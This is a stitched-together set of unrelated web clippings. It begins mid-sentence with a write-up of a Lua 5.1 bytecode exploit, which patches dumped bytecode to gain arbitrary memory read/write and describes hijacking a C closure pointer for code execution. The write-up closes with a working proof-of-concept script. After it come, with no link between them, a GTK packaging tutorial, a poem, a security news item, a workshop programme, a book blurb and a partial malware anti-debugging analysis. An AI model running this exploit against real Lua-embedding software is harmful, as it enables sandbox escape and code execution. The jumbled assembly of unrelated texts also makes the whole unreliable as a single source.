parameters \(B-1\) and the number of returned values \(C-1\), such as call 3 3
1, represent that the two parameters are R\(4\) and R\(5\) with no returned
value.

[code]

    case OP_CALL: {
            int b = GETARG_B(i);
            int nresults = GETARG_C(i) - 1;
            if (b != 0) L->top = ra+b;  /* else previous instruction set top */
            L->savedpc = pc;
            switch (luaD_precall(L, ra, nresults)) {
              case PCRLUA: {
                nexeccalls++;
                goto reentry;  /* restart luaV_execute over new Lua function */
              }
    
[/code]

LUA uses CallInfo data structure to perform track on function calls and then
the luaD\_precall function uses inc\_ci function to create new function call
information.

[code]

    #define inc_ci(L) \
      ((L->ci == L->end_ci) ? growCI(L) : \
       (condhardstacktests(luaD_reallocCI(L, L->size_ci)), ++L->ci))
    
[/code]

For the call info for current function of lua\_State->ci, very time a function
is called, add a ci; every time a value is returned, reduce a ci. Here is the
data structure for CallInfo:

[code]

    typedef struct CallInfo {
      StkId base;  /* base for this function */
      StkId func;  /* function index in the stack */
      StkId top;  /* top for this function */
      const Instruction *savedpc;
      int nresults;  /* expected number of results from this function */
      int tailcalls;  /* number of tail calls lost under this entry */
    } CallInfo;
    
[/code]

Amongst the func of CallInfo in luaD\_precall initializes the objects pointing
to R\(A\).

The basic flow of the inner function: magic Upval will point to the middle
function by modifying bytecodes, the inner function will assign the magic
value to a string before return, then it executes OP\_RETURN to return the
middle function. At last, OP\_RETURN calls luaD\_poscall to execute L->ci--,
and switches to the upper function to get CallInfo information, then it goes
to reentry, as shown below:

[code]

    LClosure *cl; 
    reentry:  /* entry point */
        lua_assert(isLua(L->ci));
        pc = L->savedpc;
    cl = &clvalue(L->ci->func)->l;
    base = L->base;
    k = cl->p->k;
    
[/code]

Among them, &clvalue\(L->ci->func\) directly changes ci->func to Closure\*
pointer, but the inner function，has already modified the ci->func object to a
string object, later k = cl->p->k is to obtain the constants table for
function prototype.

Let’s first check out the memory layout for string objects and Closure object.

<img src='img/Temp2_595.png' />

cl->p corresponds the contents that starts from 9th character in TString.
Magic is initialized as "01234567" in the inner function. Populcate the frst 8
bytes and cobine the two memory pointers \[…as a connector for LUA strings\],
as below:

[code]

    magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
    
[/code]

The ub4 function transforms a 32-bit integer to a string. lo and hi
respectively correspond to the low and high 32 bits in 64bit memory address.
This memory address points to

[code]

    lo,hi = f2ii(asnum(upval));lo = lo+24
    
[/code]

Note that upval is string type \(the length of header is 24\). Because lo+24
points to string contents, cl->p actually points to
"commonhead16bits"..ub4\(lo\)..ub4\(hi\)

cl->p->k, here is the correponding data structure definition:

[code]

    typedef struct Proto {
      CommonHeader;
      TValue *k;  /* constants u
    
[/code]

After alignment, CommonHeader memory occupies 16 bytes, therefore, k points to
the memory address that we passed.

Similarly, cl->upvals\[

[code]

    typedef struct UpVal {
      CommonHeader;
      TValue *v;  /* points to stack or to its own value */
    
[/code]

Next is to execute the middle function to execute the return asnum\(magic\)
statement, here is related bytecodes:

[code]

    MOVE        5  1
    GETUPVAL    6  0    ; magic
    TAILCALL    5  2  0
    RETURN      5  0
    
[/code]

R\(5\) = R\(1\) = asnum function object executes GETUPVAL 6 0 and uses R\(6\)
as function parameter 1 to call the asnum function, finally returns the read
results of asnum.

[code]

    case OP_GETUPVAL: {
      int b = GETARG_B(i);
      setobj2s(L, ra, cl->upvals[b]->v);
      continue;
    
[/code]

In GETUPVAL 6 0, b=0, that’s why cl->upvals\[b\]->v is the memory we
constructed. The function is copied from the corresponding memory address to
R\(6\), and then by using asnum to read contents, implement arbitrary
write/read to the memory address. Similarly, if a value is assigned to magic
in the middle function, it can also implement arbitrary write/read to the
memory address \(in fact, it’s to write 8-byte and 4-byte tt types\).

# 0x02 code execution

LUA uses OP\_CALL to call a function. luaD\_precall handles the call to C
function，as the following:

[code]

    /* if is a C function, call it */
        CallInfo *ci;
        int n;
        ci = inc_ci(L);  /* now `enter' new function */
        ci->func = restorestack(L, funcr);
        L->base = ci->base = ci->func + 1;
        ci->top = L->top + LUA_MINSTACK;
        ci->nresults = nresults;
        lua_unlock(L);
        n = (*curr_func(L)->c.f)(L);  /* do the actual call */
    
[/code]

LUA uses lua\_pushcclosure function to create closure object for Cfunction.
LUA base library-luaB\_cowrap will call lua\_pushcclosure, create a CClosure
\*object. The following is the specific LUA script:

[code]

    co = coroutine.wrap(function() end)
    
[/code]

Here is the memory layout for CClosure:

<img src='img/Temp2_594.png' />

Pointer f is the offset 32 in its object. By using the aforementioned memory
write technique, it’s able to replace f to the specified memory address to
implement arbitrary code execution.

# 0x03 POC

[code]

    asnum = loadstring(string.dump(function(x)
      for i = x, x, 0 do
        return i
      end
    end):gsub("\96%z%z\128", "\22\0\0\128"))
     
    ub4 = function(x) -- Convert little endian uint32_t to char[4]
      local b0 = x % 256; x = (x - b0) / 256
      local b1 = x % 256; x = (x - b1) / 256
      local b2 = x % 256; x = (x - b2) / 256
      local b3 = x % 256
      return string.char(b0, b1, b2, b3)
    end
     
    f2ii = function(x) -- Convert double to uint32_t[2]
      if x == 0 then return 0, 0 end
      if x < 0 then x = -x end
     
      local e_lo, e_hi, e, m = -1075, 1023
      while true do -- this loop is math.frexp
        e = (e_lo + e_hi)
        e = (e - (e % 2)) / 2
        m = x / 2^e
        if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
      end
     
      if e+1023 <= 1 then
        m = m * 2^(e+1074)
        e = 0
      else
        m = (m - 0.5) * 2^53
        e = e + 1022
      end
     
      local lo = m % 2^32
      m = (m - lo) / 2^32
      local hi = m + e * 2^20
      return lo, hi
    end
     
    ii2f = function(lo, hi) -- Convert uint32_t[2] to double
      local m = hi % 2^20
      local e = (hi - m) / 2^20
      m = m * 2^32 + lo
     
      if e ~= 0 then
        m = m + 2^52
      else
        e = 1
      end
      return m * 2^(e-1075)
    end
     
    read_mem = loadstring(string.dump(function(mem_addr) -- AAAABBBB 1094795585 1111638594
      local magic=nil
      local function middle()
        local f2ii, asnum = f2ii, asnum
        local lud, upval
        local function inner()
          magic = "01234567"
          local lo,hi = f2ii(mem_addr)
          upval = "commonhead16bits"..ub4(lo)..ub4(hi)
          lo,hi = f2ii(asnum(upval));lo = lo+24
          magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
        end
        inner()
        return asnum(magic)
      end
      magic = middle()
      return magic
    end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3
     
    x="AAAABBBB"
    l,h=f2ii(asnum(x))
    x=ii2f(l+24,h)
    print(f2ii(read_mem(x)))
    
[/code]

# Portable GTK

**Created:**| _5/9/2011 9:23:05 PM_  
---|---  
**Updated:**| _5/10/2011 4:01:04 PM_  
**Author:**| __  
**Tags:**| _C++ programming_  
  

# Portable GTK

  
  
GTK+ is a Free and portable widget toolkit written in C with support for
bindings in lot of scripting languages.  
  
GTK+ is based on GLib, GObject and other technologies, which are high level
abstractions on top of C to provide data serialization, object models,
introspection, threads, signalling and many other goods in a clean and
portable way.  
  
The complexity to use GObject libraries in C can be simplified by using Vala
\( http://vala-project.org \) and on top of Vala there's a project named
GtkAML which provides a container-oriented description programming that
simplifies even more the design and development of applications using Gtk+.  
  
GTK+ is a toolkit used mostly on OpenSource operating systems. This is
probably a good thing.. unless you are trying to distribute binaries of your
program you end up with these problems:  
  
\* The ABI changes between big version number changes of the libraries.  
\* You end up packaging all the gtk,png|jpeg,pango,glib,x11 dependencies.  
\* You create a shellscript that depending on the uname and lsb\_release or
etc/issue you load some or other libraries  
\* GTK themes are not always respected in this situation  
\* Some proprietary graphics drivers are linked to X libraries, so you can't
distribute them  
\* Your binary package size has grown to 40 or 50MB when your application is
just 400KB  
\* \(place here your problems\)  
  
Actually, GTK+-2.0 is stable and the development happens in GTK+-3.0, so most
of those problems will be just fixed by having an up-to-date system and using
old enought libraries when building your application.  
  
\* In my experience, using the older LTS Ubuntu is a good option, so GNOME
libraries have some sort of backward compatibility, and applications compiled
against old \(not ancient\) versions of GTK will continue working on future
libs.  
  
Many proprietary projects switched to QT because of those problems, they
provide a good commercial support.. but personally I prefer GTK, C and a
community based development.  
  
After many experiments and projects I end up having an almost simple
environment for building portable binary GTK applications for Linux \(BSD
should be the same\), Windows and OSX.  
  
The good point of OSX and Windows is that they have more stable ABI \(binary
compatibility\), so you don't have to care about different versions of OSX of
different versions of Windows... In Linux, every distro can have their own
drivers hacking X11 libs, different system libraries, etc... which tends to be
problematic for distributing binary apps.  
  

## Vala/GtkON

  
When crosscompiling, is better to use Vala and GtkAML compilers natively. As
long as they generate C code, you can use them from your own system
installation. Only CC environment must be changed in order to specify the
mingw32, ARM or whatever crosscompiler.  
  
http://vala-project.org  
  
http://code.google.com/p/gtkaml/  
  

## Windows

  
The easiest way to compile for Windows is to use mingw32 from any POSIX
friendly OS \(GNU/Linux, ..\)  
  
Linux and \*BSD have faster implementations of fork\(\) than Windows. This
results in pretty slow compilation times on this system. This is where mingw32
and crosscompilation enters the scene.  
  
I took the Iki's w32 blobs for gtk,png,jpeg,glib,... and prepare a single
tarball with an example Vala program and a Makefile as an example:  
  
http://nopcode.org/p/b/w32gtk-2.20.tar.gz  
  
To distribute your application just package your exe with all the required
.dll files. Windows will find the library dependencies in the current
directory.  
  

## OSX

  
To compile standalone GTK applications on OSX you need to install the GTK+
from ports.  
  
By using the following lines, you'll get a Quartz based GTK+-2.0.  
  
Good things about gtk-quartz:  
\- Startup is faster  
\- Application is integrated in OSX  
\- Not depending on compile-time X11 libraries  
\- Less dependencies result in smaller .dmg  
  
The bad things:  
\- Some glitches \(missing redraws of damaged areas\) appear sometimes.  
  
To compile gtk on quartz follow this steps:  
  
\# port install cairo +quartz+no\_x11  
\# port install pango +quartz+no\_x11  
\# port install gtk2 +quartz+no\_x11  
  
---  
  
  
At the moment of writing this tutorial Gtk3 is already packaged but IMHO is
still not stable enought on OSX, so i'll write my experiences with gtk3 on osx
and w32.  
  
Once you get the libraries installed in /opt/local with the ports system you
need to create the structure of your .app which looks like this:  
  
  
YourApp.app/  
Contents/  
Info.plist  
PkgInfo  
Resources/  
YourApp.icns  
bin/  
lib/  
...  
MacOS/  
YourApp\*  
  
---  
  
  
The PkgInfo file just contains a string. feel free to put whatever you like or
copy it from somewhere else.  
  
The Info.plist is an XML that points to the binary name, mimetypes supported,
icon, package description and other stuff. Mine looks like this:  
  
<?xml version="1.0" encoding="UTF-8"?>  
<\!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
<plist version="1.0">  
<dict>  
<key>CFBundleDevelopmentRegion</key>  
<string>English</string>  
<key>CFBundleExecutable</key>  
<string>Ragui</string>  
<key>CFBundleIconFile</key>  
<string>Ragui.icns</string>  
<key>CFBundleIdentifier</key>  
<string>org.radare.Ragui</string>  
<key>CFBundleInfoDictionaryVersion</key>  
<string>6.0</string>  
<key>CFBundleName</key>  
<string>Ragui</string>  
<key>CFBundlePackageType</key>  
<string>APPL</string>  
<key>CFBundleShortVersionString</key>  
<string>0.1</string>  
<key>CFBundleSignature</key>  
<string>Ragui</string>  
<key>CFBundleVersion</key>  
<string>0.1</string>  
<key>NSHumanReadableCopyright</key>  
<string>© 2011 The LockLabs Team</string>  
</dict>  
</plist>  
  
---  
  
  
The shellscript that setups the environment to get the libraries from the
Resources directory looks like this:  
  
\#\!/bin/sh  
R2DIR=$\(dirname "$0"\)/..  
export DYLD\_LIBRARY\_PATH="$\{R2DIR\}/lib"  
exec $\{R2DIR\}/bin/ragui.bin  
  
---  
  
  
You can get a copy of this dmg here:  
  
http://lolcathost.org/b/ragui-0.1b.dmg  
  
Now you need to copy the libraries from /opt/local to your .app package.. so I
wrote this makefile target  
  
  
BIN=YourProgram  
BINDIST=bindist  
copyosxlibs:  
for a in \`otool -L src/YourProgram | grep -v libr|grep -v :| awk '\{print $$1\}'| grep -v System\` ; do \  
cp $$a $\{BINDIST\}/lib ; \  
done  
cp /opt/local/bin/pango-querymodules $\{BINDIST\}/bin  
cp /opt/local/lib/libiconv.2.dylib $\{BINDIST\}/lib  
cp /opt/local/lib/libpixman-1.0.dylib $\{BINDIST\}/lib  
mkdir -p $\{BINDIST\}/lib/pango/$\{PANGOVERSION\}/modules  
cp /opt/local/lib/pango/$\{PANGOVERSION\}/modules/\*.so \  
$\{BINDIST\}/lib/pango/$\{PANGOVERSION\}/modules  
  
---  
  
  
To create the DMG just use the \[b\]hdiutil\[/b\] program:  
  
$ hdiutil create -fs HFS+ -srcfolder YourProgram.app -volname YourProgram.app
YourProgram.dmg  
  
---  
  
  
To create the icon for your application you need to create a 128x128 PNG image
and use the \[b\]FastIcns\[/b\] application to create a .icns file.  
  
Place your .icns file inside the Resources directory and then just reference
your .icns file in the PkgInfo XML like this:  
  
<key>CFBundleIconFile</key>  
<string>Ragui.icns</string>  
  
---  
  
  
At some point I will write a set of scripts to do all this job automatically..
but until then.. just hack it up in your own way :\)  
  

## Setting up fonts

  
  
If your GTK app is rendering rectangles instead of fonts you will have to
setup the pango modules. To do this in a position-independent way.. you have
to create a startup script that setups LD\_LIBRARY\_PATH \(linux,bsd\) or
DYLD\_LIBRARY\_PATH \(osx\) and run the following script:  
  
$ export TMPDIR=$\(mkstemp\)  
$ pango-querymodules $TMPDIR/lib/pango/1.6.0/modules/\*.so > pango.modules  
$ printf "\[Pango\]\nModuleFiles=$TMPDIR/etc/pango.rc  
  
---  
  
  
In order to run your application just setup the PANGO\_RC\_FILE environment
variable:  
  
PANGO\_RC\_FILE=$\{TMPDIR\}/pango.rc  
  
---  
  
  

## Configure the theme

  
To embed a GTK theme in the application you need to do the following steps:  
  
\* embed engine module \(libclearlooks.so\)  
\* embed theme directory \(share/themes/\*\)  
\* embed gdk pixbuf modules. \(to open jpg, png files..\)  
\* generate gdk-pixbuf-query-loaders  
\* generate gtkrc with fixed paths  
\* setup some environment vars \(GTK\_PATHS, XDG\_DATA\_DIRS, ...\)  
  
Check out the makefile here:  
  
http://lolcathost.org/b/Makefile.ragui  
  
To start the app you need to setup the environment and create some RC files at
startup. See this startup file as an example:  
  
http://lolcathost.org/b/ragui.sh  
  
\# Force GTK Theme  
force\_gtk\_theme\(\) \{  
GDK\_PIXBUF\_MODULE\_FILE="$\{R2DIR\}/lib/gdk-pixbuf-2.0/2.10.0/loaders.cache"  
gdk-pixbuf-query-loaders > $\{GDK\_PIXBUF\_MODULE\_FILE\}  
export GDK\_PIXBUF\_MODULE\_FILE  
GTK\_PATH="$\{R2DIR\}/lib/gtk-2.0"  
export GTK\_PATH  
XDG\_DATA\_DIRS="$\{R2DIR\}/share"  
export XDG\_DATA\_DIRS  
GTK2\_RC\_FILES=$\{TMPDIR\}/etc/gtkrc-2.0  
export GTK2\_RC\_FILES  
echo > $\{GTK2\_RC\_FILES\}  
\#echo "pixmap\_path \"$\{R2DIR\}/share/themes/\"" > $\{GTK2\_RC\_FILES\}  
echo "include \"$\{R2DIR\}/share/themes/Clearlooks/gtk-2.0/gtkrc\"" >>
$\{GTK2\_RC\_FILES\}  
echo >> $\{GTK2\_RC\_FILES\} <<EOF  
style "font" \{  
font\_name = "Verdana 12"  
\}  
  
widget\_class "\*" style "font"  
gtk-font-name = "Verdana 12"  
EOF  
\}  
  
  
---  
  
  
A sample gtkrc file will look like this:  
  
$ cat .gtkrc-2.0.mine  
pixmap\_path "/path/to/share/themes"  
style "font" \{  
font\_name = "Verdana 12"  
\}  
  
widget\_class "\*" style "font"  
gtk-font-name = "Verdana 12"  
  
---  
  
  
  
\--pancake

# Hackers Can Sidejack Cookies: Poetry: The New Yorker

**Created:**| _5/25/2009 8:34:04 AM_  
---|---  
**Updated:**| _5/25/2009 8:34:11 AM_  
**Author:**| __  
**Tags:**| _poems Hacks_  
  

# HACKERS CAN SIDEJACK COOKIES

#### by Heather McHughMAY 11, 2009

TEXT SIZE:

    SMALL TEXT
    MEDIUM TEXT
    LARGE TEXT
PRINT E-MAIL FEEDS

 _A collage-homage to Guy L. Steele and Eric S. Raymond._

A beige toaster is a maggotbox.

A bit bucket is a data sink.

Farkled is a synonym for hosed.

Flamage is a weenie problem.

A berserker wizard gets no score for treasure.

In MUDs one acknowledges

a bonk with an oif.

\(There’s a cosmic bonk/oif balance.\)

Ooblick is play sludge.

A buttonhook is a hunchback.

Logic bombs can get inside

back doors. There were published bang paths

ten hops long. Designs succumbing

to creeping featuritis

are banana problems.

\(“I know how to spell banana,

but I don’t know when to stop.”\)

Before you reconfigure,

mount a scratch monkey.

A dogcow makes

a moof. An aliasing bug

can smash the stack.

Who wrote these tunes,

these runes you need

black art to parse?

Don’t think it’s only

genius \(flaming\), humor \(dry\),

a briefcase of cerebral dust.

A hat’s a shark fin, and the tilde’s dash

is swung: the daughter of the programmer

has got her period. It’s all about wetware at last,

and wetware lives in meatspace.

  

# Escape From Return-Oriented Programming: Return-oriented Programming without
Returns \(on the x86\)

**Created:**| _10/15/2010 1:19:54 PM_  
---|---  
**Updated:**| _10/15/2010 1:20:32 PM_  
**Author:**| __  
**Tags:**| _asm papers awesome rop_  
  
<img src='img/Temp2_2761' />

# Malware Already Bypassing Windows 8 Security Mechanisms, French Pen-Tester Says | HOTforSecurity
**Created:**| _11/6/2012 9:27:17 AM_  
---|---  
**Updated:**| _11/6/2012 9:27:17 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis win8_  
  

You Are Here: Home » Industry News » Malware Already Bypassing Windows 8
Security Mechanisms, French Pen-Tester Says

# Malware Already Bypassing Windows 8 Security Mechanisms, French Pen-Tester
Says

By: Loredana Botezatu |  comment : 3 | November 02, 2012 | Posted in: Industry News
**Hardly has Microsoft’s Windows 8 operating system hit the shelves and French
penetration-testing company Vupen claims to have defeated the security
mechanisms built into it. According to a tweet by Vupen Chief Executive
Chaouki Bekrar, the company has found a way to circumvent all zero-day defense
mechanisms built into the OS and the Internet Explorer 10 component.**

<img src='img/Temp2_5109.jpg' width='381' height='315' />

“We welcome \#Windows8 with various 0Ds combined to pwn all new Win8/IE10
exploit mitigations. Congrats to our mitigation mitigator @n\_joly”, reads the
tweet.

Security-wise, Windows 8 is the safest operating system ever released by
Microsoft. The inclusion of technologies such as SafeBoot and ELAM, along with
a better-sandboxed Internet Explorer 10, was supposed to keep rootkit-based
malware at bay and to prevent threats originating from the web to exploit the
browser, respectively. However, regardless of the effort, most malware running
in the user-space of the operating system has no “compatibility issues” in
transitioning from Windows 7 to Windows 8.

What’s even more worrying is that Vupen is known to deny sharing of the
exploits they find outside of their circle of customers, unlike other members
of the security industry who immediately document the threat and present the
vendor a PoC. This business model dramatically enlarges the window of
opportunity for attacking parties and exposes users to unnecessary risks.

Until this alleged zero-day exploit gets fixed, Windows 8 adopters are advised
to run an up-to-date security solution and to pay great attention to what web
pages they are pointing their browser to.

# SECTEST 2013

**Created:**| _3/15/2013 2:30:29 PM_  
---|---  
**Updated:**| _3/15/2013 2:30:29 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

****

** SECTEST 2013**

** The Fourth International Workshop on Security Testing**

** Affiliated with ICST 2013 **

** Luxembourg  
_March 22, 2013_ **

Home. Program. Invited Talk. Background, aim and scope. Publication. Audience.
Committees. Additional information.

* * *
## Program: Friday - March 22

08:00 - 08:30 |  _Registration_ |   
---|---|---  
**_Session I_** |  _Chair: Wissam Mallouli_ __ |   
**09:00 - 10:00** |  **_Invited talk_**  
Security testing: a key challenge for software engineering of web apps  
Yves Le Traon \(University of Luxembourg, Luxembourg\) |   
**10:00 - 10:30** |  _Kepler - Raising Browser Security Awareness_  
Thomas Wahlberg, Petri Paakkola, Christian Wieser, Marko Laakso and Juha Röning. |   
10:30 - 11:00 |  _Coffee break_ |   
**_Session II_** |  _Chair:_ __ |   
**11:00 - 11:30** |  _Automatic Generation of Test Drivers for Model Inference of Web Applications_  
Karim Hossen, Roland Groz, Catherine Oriat and Jean-Luc Richier. |   
**11:30 - 12:00** |  _Model-Based Vulnerability Testing for Web Applications_  
Franck Lebeau, Bruno Legeard, Fabien Peureux and Alexandre Vernotte. |   
**12:00 - 12:30** |  _Improving the Accuracy of Automated Security Tests Based on Learned System Behavior Models_  
Christian Schanes, Florian Fankhauser, Andreas Hübler and Thomas Grechenig. |   
12:30 - 14:00 |  _Lunch_ |   
**_Session III_** |  _Chair:_ __ |   
**14:00 - 14:30** |  _Formal models of bank cards for free_  
Fides Aarts, Joeri de Ruiter and Erik Poll. |   
**14:30 - 15:00** |  _Online Model-Based Behavioral Fuzzing_  
Martin Schneider, Juergen Grossmann, Ina Schieferdecker and Andrej Pietschker. |   
**15:00 - 15:30** |  _A Query Driven Security Testing Framework for Enterprise Network_  
Padmalochan Bera and Soumya K Ghosh. |   
15:30 - 16:00 |  _Coffee break_ |   
**_Session IV_** |  _Chair:_ __ |   
**16:00 - 17:30** |  Open Discussion |   
## Invited Talk

**Yves Le Traon \(University of Luxembourg\)**  
_Security testing: a key challenge for software engineering of web apps._  
While important efforts are dedicated to system functional testing, very few
works study how to specifically and systematically test security mechanisms.
In this talk, we will present two categories of approaches. The first ones aim
at assessing security mechanisms compliance with declared policies. Any
security policy is strongly connected to system functionality: testing
function includes exercising many security mechanisms. However, testing
functionality does not intend at exercizing all security mechanisms. We thus
propose test selection criteria to produce tests from a security policy.
Empirical results will be presented about access control policies and about
Android apps permission checks.  
The second ones concern the attack surface of web apps, with a particular
focus on web browser sensitivity to XSS attacks. Indeed, one of the major
threats against web applications is Cross-Site Scripting \(XSS\) that crosses
several web components: web server, security components and finally the
client's web browser. The final target is thus the client running a particular
web browser. During this last decade, several competing web browsers \(IE,
Netscape, Chrome, Firefox\) have been upgraded to add new features for the
final users benefit. However, the improvement of web browsers is not related
with systematic security regression testing. Beginning with an analysis of
their current exposure degree to XSS, we extend the empirical study to a
decade of most popular web browser versions.The results reveal a chaotic
behavior in the evolution of most web browsers attack surface over time. This
particularly shows an urgent need for regression testing strategies to ensure
that security is not sacrificed when a new version is delivered. In both
cases, security must become a specific target for testing in order to get a
satisfying level of confidence in security mechanisms

* * *
## Background, aim and scope

To improve software security, several techniques, including vulnerability
modelling and security testing, have been developed but the problem remains
unsolved. On one hand, the workshop tries to answer how vulnerability
modelling can help users understand the occurrence of vulnerabilities so to
avoid them, and what the advantages and drawbacks of the existing models are
to represent vulnerabilities. At the same time, the workshop tries to
understand how to solve the challenging security testing problem given that
testing the mere functionality of a system alone is already a fundamentally
critical task, how security testing is different from and related to classical
functional testing, and how to assess the quality of security testing. The
objective of this workshop is to share ideas, methods, techniques, and tools
about vulnerability modelling and security testing to improve the state of the
art.

In particular, the workshop aims at providing a forum for practitioners and
researchers to exchange ideas, perspectives on problems, and solutions. Both
papers proposing novel models, methods, and algorithms and reporting
experiences applying existing methods on case studies and industrial examples
are welcomed. The topics of interest include, but are not restricted to:

  * network security testing 
  * application security testing 
  * security requirements definition and modelling 
  * security and vulnerability modelling 
  * runtime monitoring of security-relevant applications 
  * security testing of legacy systems 
  * cost effectiveness issues 
  * comparisons between security-by-design and formal analyses 
  * formal techniques for security testing and validation 
  * security test generation and oracle derivation 
  * specifying testable security constraints 
  * test automation 
  * penetration testing 
  * regression testing for security 
  * robustness and fault tolerance to attacks 
  * test-driven diagnosis of security weaknesses 
  * process and models for designing and testing secure system 
  * when to perform security analysis and testing 
  * "white box" security testing techniques 
  * compile time fault detection and program verification 
  * tools and case studies 
  * industrial experience reports 

This workshop is a follow-up and combination of the First International
Workshop on Security Testing \(SECTEST 2008\) and the First International
Workshop on Modelling and Detection of Vulnerabilities \(MDV 2010\), as well
as the Second International Workshop on Security Testing \(SECTEST 2011\) and
the Third International Workshop on Security Testing \(SECTEST 2012\).  
  

## Submission

We solicit both full papers \(8 pages\) and short papers \(2 pages\) in IEEE
two-column format. We also solicit demonstrations of security testing tools
\(4 pages\).  
All submissions will be peer-reviewed. Authors of accepted papers must
guarantee that their paper will be presented at the workshop.

Authors are invited to submit their papers electronically, as portable
document format \(pdf\) or postscript \(ps\); please, do not send files
formatted for work processing packages \(e.g., Microsoft Word or Wordperfect
files\). The only mechanism for paper submissions is via the electronic
submission web-site powered by EasyChair.

## Publication

The proceedings will be published in the IEEE digital library.

## Audience

Participation to the workshop will be open to anybody willing to register.

## Program Committee

  * Paul Ammann \(George Mason University, USA\)
  * Alessandra Bagnato \(Softeam, France\)
  * Ruth Breu \(University of Innsbruck, Austria\)
  * Achim Brucker \(SAP Research, Germany\)
  * Frédéric Cuppens \(Telecom Bretagne, France\)
  * Khaled El Fakih \(American University of Sharjah, UAE\)
  * Yliès Falcone \(Grenoble University, France\)
  * Daniel Faigin \(The Aerospace Corporation, USA\)
  * Roland Groz \(Grenoble University, France\)
  * Bruno Legeard \(Smartesting, France\)
  * Keqin Li \(SAP Research, France; co-chair\)
  * Lijun Liu \(China Mobile Research Institute, China\)
  * Wissam Mallouli \(Montimage, France; co-chair\)
  * Jun Pang \(University of Luxembourg, Luxembourg\)
  * Nahid Shahmehri \(Linköpings University, Sweden\)
  * Luca Vigano \(University of Verona, Italy\)
  * Bachar Wehbi \(Montimage, France\)
  * Nina Yevtushenko \(Tomsk State University, Russia\)

## Steering Committee

  * Alessandro Armando \(University of Genova, Italy\) 
  * Ana Cavalli \(Telecom SudParis, France\) 
  * Jorge Cuellar \(Siemens, Germany\) 
  * Alexander Pretschner \(TU München, Germany\) 
  * Yves Le Traon \(University of Luxembourg, Luxembourg\) 

## Additional Information

The workshop is supported by the projects Diamonds, SPaCIoS and Inter-Trust.

* * *
Last modified: Tuesday October 09, 2012

# As a 5-year n00b, this is my gift to the jailbreak community, enjoy\!

**Created:**| _9/17/2015 1:17:16 PM_  
---|---  
**Updated:**| _9/17/2015 1:17:47 PM_  
**Author:**| __  
**Tags:**| __  
  

## As a 5-year n00b, this is my gift to the jailbreak community, enjoy\!

iOS App Reverse Engineering is the world's 1st book of very detailed iOS App
reverse engineering skills, targeting 4 kinds of readers:

  * iOS enthusiasts;
  * Senior iOS developers, who have good command of App development and have the desire to understand iOS better;
  * Architects. During the process of reverse engineering, they can learn architectures of those excellent Apps so that they can improve their ability of architecture design;
  * Reverse engineers in other systems who’re also interested in iOS.

The book consists of 4 parts, i.e. concepts, tools, theories and practices.
The book follows an "abstraction, concrete, abstraction, concrete" structure,
starting from basic concepts like iOS filesystem hierarchy and iOS file types
that Apple didn't expose to App developers but iOS \(jailbreak\) researchers
should know, then goes through the most commonly used tools like class-dump,
Theos, Cycript, Reveal, IDA and LLDB to introduce what to do in iOS reverse
engineering. After that, iOS reverse engineering theories based on Objective-C
and ARM assembly are explained in a methodological way, pointing out the core
of this book. Last but not least, 4 originally elaborated practices are there
to cover all previous contents of the book and give you the most intuitive
perception of iOS reverse engineering. Happy hacking\!

## For more info, please visit our official forum and follow @iOSAppRE. Thank
you\!

  

If you find the book worth buying after reading through it, how about taking a
look at here and buying one? :\)

  

<img src='img/iOSAppReverseEngineering.pdf' />  

# hXgqy.jpg 751 × 844 Pixel

**Created:**| _2/5/2011 12:25:18 PM_  
---|---  
**Updated:**| _2/5/2011 12:25:26 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
<img src='img/Temp2_10293.jpg' />

# Analysis: Malware Win32/Rimecud.B | Qualys Security Labs | Qualys Community
**Created:**| _5/11/2011 9:06:10 PM_  
---|---  
**Updated:**| _5/11/2011 9:06:10 PM_  
**Author:**| __  
**Tags:**| _windows Malware-analysis_  
  

Gepostet von Bharat Jogi am 09.05.2011 02:06:01

## Analysis: Malware Win32/Rimecud.B

Infections of Win32/Rimecud.B were first spotted in the wild in the second
half of 2010, but customers are still calling us due to difficulties in
removing it even in the presence of anti-virus software. So we decided to
analyze it and on the way also describe some interesting anti-debugging
techniques that are used by it. We also analyze the malware's behavior once a
system is infected.

### Sample

File: ctfmon.exe  
MD5: f5f4ec6d780715d713b7e085fd24447c  
SHA1: f4507f91806aef7bdbbab1047b5ce4d5d6033e6c  
File Type: MS Windows Portable Executable file

### Malware Analysis

  1. Before starting the analysis, open the malware in PEiD to see if the malware was packed using any known available packers. PEid indicates that the malware is packed using UPX packer \(fig.1\). For further analysis the malware is unpacked using the Ultimate Packer for executable.  
<img src='img/Temp2_655.png' width='500px' />  
Figure 1: PEid output for malware sample.  
  

  2. Once the unpacked malware executable is opened in a debugger, we will see that the malware does a lot of calls to Windows API “CopyFileA”, trying to copy some random files to random location and this is done multiple times in a very big loop. This is junk code used to probably frustrate the reverse engineer \(Fig.2\).  
<img src='img/Temp2_654.png' width='500px' />  
Figure 2: Random Calls to “CopyFileA” API.  
  

  3. Inside this junk code, the malware implements a very powerful anti-debugging technique. The malware calls the “kerne32.CloseHandle” API with random values of “hObject” \(Fig 3.\). If a process being debugged tries to close an invalid handle, it generates a STATUS\_INVALID\_HANDLE \(0xC0000008\) exception. The only proper way of bypassing this anti-debugging technique is to modify the syscall data from ring3, before it is called or setup a kernel hook. To bypass this anti-debugging technique we will replace all such random values by NULL and this will allow us to debug our malware smoothly.  
<img src='img/Temp2_653.png' width='500px' />  
Figure 3: CloseHandle Anti-debugging technique.  
  

  4. However, even after bypassing this anti-debugging technique, if you allow the malware to run, it will get executed and terminate with exit code 0 without doing anything or will stop with “Access Violation” exception, depending upon the time elapsed since the program is executed. This is because of the anti-debugging technique implemented by malware using the ‘kernel32.GetTickCount’API \(Fig.4\).   
<img src='https://dum21w3618van.cloudfront.net/images/rimecud.b/fig4.png'
width='500px' />  
Figure 4: kernel32.GetTickCount Anti-debugging technique.  
  
The instruction at 0x00330126 will call kernel32.GetTickCount and PUSH that
value on stack. It again makes the same call, subtracts that value from the
one obtained previously and tests if it is zero. It continues this in loop
until it gets the subtraction of these two values as zero. On every time this
loop is executed, the value of kernel32.GetTickCount is pushed on the stack.
